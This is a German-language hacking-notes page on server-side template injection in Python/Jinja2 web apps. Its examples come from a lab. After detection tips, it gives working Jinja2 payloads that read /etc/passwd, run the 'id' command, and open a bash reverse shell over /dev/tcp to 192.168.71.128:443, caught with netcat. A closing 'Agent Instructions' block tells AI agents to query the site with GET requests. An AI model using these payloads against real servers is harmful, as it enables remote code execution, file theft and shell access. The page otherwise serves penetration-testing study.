> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

<figure><img src="/files/f2f6c2eb6e1ba2f3ba0bebec865794ae6bad0eb1" alt="" width="563"><figcaption></figcaption></figure>

Wie erkennt man, ob eine Website möglicherweise anfällig für einen Angriff ist **SSTI** ? Wenn wir einen Wert in ein **Eingabe**, wie im folgenden Fall mit der Variable **Benutzer**, die in einer **Ausgabe**:

<figure><img src="/files/fb935395b6650aa1db7332c34048928e790cf5c1" alt="" width="563"><figcaption></figcaption></figure>

Mit **whatweb**, wenn wir sehen, dass ein Webserver verwendet **Python, Java, Jinja2, Angularjs...** als Programmiersprache verwendet wird und dies nicht bereinigt ist, könnte diese Schwachstelle enthalten sein:

<figure><img src="/files/866eac656b5b29bffd015bde27e5a74a1bfe28b9" alt=""><figcaption></figcaption></figure>

Um dies mit dem **/{{ /}}**, testen wir, ob es die **Berechnung**:

<figure><img src="/files/55d658b5e7a4250fe37a5a5154a56a865b5790eb" alt="" width="563"><figcaption></figcaption></figure>

In diesem Fall interpretiert es:

<figure><img src="/files/506ad79483de6a402af1fe5f7207e8a8d6aed661" alt="" width="521"><figcaption></figcaption></figure>

Dank der Website [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), finden wir alle die [möglichen Injektionen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): Hier sind einige Beispiele mit **Python**: Zugriff erhalten **jede Ressource des Systems** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/697615bcf842503acecd62d7e8885bafef9a5338" alt=""><figcaption></figcaption></figure>

Beliebige **Befehl** des Systems (**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/2aa4d7b47b217475f8206329c9cabc9c2af4b573" alt="" width="563"><figcaption></figcaption></figure>

Einen **Zugriff** zum Server:

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

Wir lauschen mit **Netcat** und Pwned :)

<figure><img src="/files/4536d8f309ed91c699f4c718589805b54ed4a8cc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
